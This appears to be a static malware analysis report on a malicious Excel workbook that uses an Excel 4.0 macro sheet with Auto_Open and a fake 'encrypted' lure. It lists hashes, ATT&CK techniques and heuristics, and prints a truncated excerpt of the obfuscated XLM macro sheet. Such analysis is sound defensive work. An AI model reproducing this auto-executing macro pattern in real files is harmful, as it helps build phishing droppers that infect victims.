Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3e1a98f59fe62dc3…

MALICIOUS

Office (OOXML)

20.2 KB Created: 2021-04-20 11:57:32 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: 088ed1604b852b58cafe8e7674033ea9 SHA-1: b13dc8a4af7453d723e52969933a208e14b62248 SHA-256: 3e1a98f59fe62dc333c1e73ab723d0539f894ef9c178f519e1f0dd073e5ff1c8
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Excel document contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a strong indicator of malicious intent. The document body attempts to trick the user into enabling content by claiming it is encrypted. The embedded Excel 4.0 macro sheet likely contains logic to download and execute a secondary payload, although the specific URL is not directly visible in the provided evidence.

Heuristics 3

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 13169 bytes
SHA-256: b355c1c2c2a7158cbf8f345f4780ff49fbc5a6fb107b63e554722be5613dbfd8
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{653E542C-DF89-448D-8BBB-E773A8A313D2}"><dimension ref="A49:AI110"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.25"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.25"><c r="A50" t="b"><f bx="1">vodKb=A49</f><v>0</v></c><c r="C50"><v>-816</v></c><c r="D50" s="1" t="s"><v>0</v></c><c r="E50" s="1" t="s"><v>18</v></c><c r="F50" s="1" t="s"><v>30</v></c><c r="G50" s="1" t="s"><v>33</v></c><c r="H50" s="1" t="s"><v>36</v></c><c r="I50" s="1" t="s"><v>39</v></c><c r="J50" s="1" t="s"><v>44</v></c><c r="K50" s="1" t="s"><v>54</v></c><c r="L50" s="1" t="s"><v>57</v></c><c r="M50" s="1" t="s"><v>62</v></c><c r="N50" s="1" t="s"><v>44</v></c><c r="O50" s="1" t="s"><v>70</v></c><c r="P50" s="1" t="s"><v>75</v></c><c r="Q50" s="1" t="s"><v>93</v></c><c r="R50" s="1" t="s"><v>54</v></c><c r="S50" s="1" t="s"><v>99</v></c><c r="T50" s="1" t="s"><v>101</v></c><c r="U50" s="1" t="s"><v>110</v></c><c r="V50" s="1" t="s"><v>33</v></c><c r="W50" s="1" t="s"><v>124</v></c><c r="X50" s="1" t="s"><v>135</v></c><c r="Y50" s="1" t="s"><v>138</v></c><c r="Z50" s="1" t="s"><v>140</v></c><c r="AA50" s="1" t="s"><v>158</v></c><c r="AB50" s="1" t="s"><v>160</v></c><c r="AC50" s="1" t="s"><v>163</v></c><c r="AD50" s="1" t="s"><v>167</v></c><c r="AE50" s="1" t="s"><v>169</v></c><c r="AF50" s="1" t="s"><v>42</v></c><c r="AG50" s="1" t="s"><v>178</v></c><c r="AH50" s="1" t="s"><v>183</v></c><c r="AI50" s="1" t="s"><v>72</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.25"><c r="C51"><v>-35</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.25"><c r="C52"><v>358</v></c></row><row r="53" spans="1:35" x14ac:dyDescent="0.25"><c r="A53" t="b"><f>WHILE(AND(NOT(vodKb&gt;=32)))</f><v>0</v></c><c r="C53"><v>-145</v></c><c r="D53" s="1" t="s"><v>1</v></c><c r="E53" s="1" t="s"><v>19</v></c><c r="F53" s="1" t="s"><v>31</v></c><c r="G53" s="1" t="s"><v>34</v></c><c r="H53" s="1" t="s"><v>37</v></c><c r="I53" s="1" t="s"><v>40</v></c><c r="J53" s="1" t="s"><v>45</v></c><c r="K53" s="1" t="s"><v>55</v></c><c r="L53" s="1" t="s"><v>58</v></c><c r="M53" s="1" t="s"><v>63</v></c><c r="N53" s="1" t="s"><v>66</v></c><c r="O53" s="1" t="s"><v>71</v></c><c r="P53" s="1" t="s"><v>76</v></c><c r="Q53" s="1" t="s"><v>94</v></c><c r="R53" s="1" t="s"><v>97</v></c><c r="S53" s="1" t="s"><v>100</v></c><c r="T53" s="1" t="s"><v>102</v></c><c r="U53" s="1" t="s"><v>111</v></c><c r="V53" s="1" t="s"><v>119</v></c><c r="W53" s="1" t="s"><v>102</v></c><c r="X53" s="1" t="s"><v>136</v></c><c r="Y53" s="1" t="s"><v>139</v></c><c r="Z53" s="1" t="s"><v>141</v></c><c r="AA53" s="1" t="s"><v>159</v></c><c r="AB53" s="1" t="s"><v>161</v></c><c r="AC53" s="1" t="s"><v>164</v></c><c r="AD53" s="1" t="s"><v>168</v></c><c r="AE53" s="1" t="s"><v>170</v></c><c r="AF53" s="1" t="s"><v>172</v></c><c r="AG53" s="1" t="s"><v>179</v></c><c r="AH53" s="1" t="s"><v>184</v></c><c r="AI53" s="1" t="s"><v>188</v></c></row><row r="54" spans="1:35" x14ac:dyDescent="0.25"><c r="C54"><v>345</v></c></row><row r="55" spans="1:35" x14ac:dyDescent="0.25"><c r="C55"><v>-357</v></c></row><row r="56" spans="1:35" x14ac:dyDescent="0.25"><c r="A56" t="b"><f bx="1">pDJyvTevgR=-
... (truncated)

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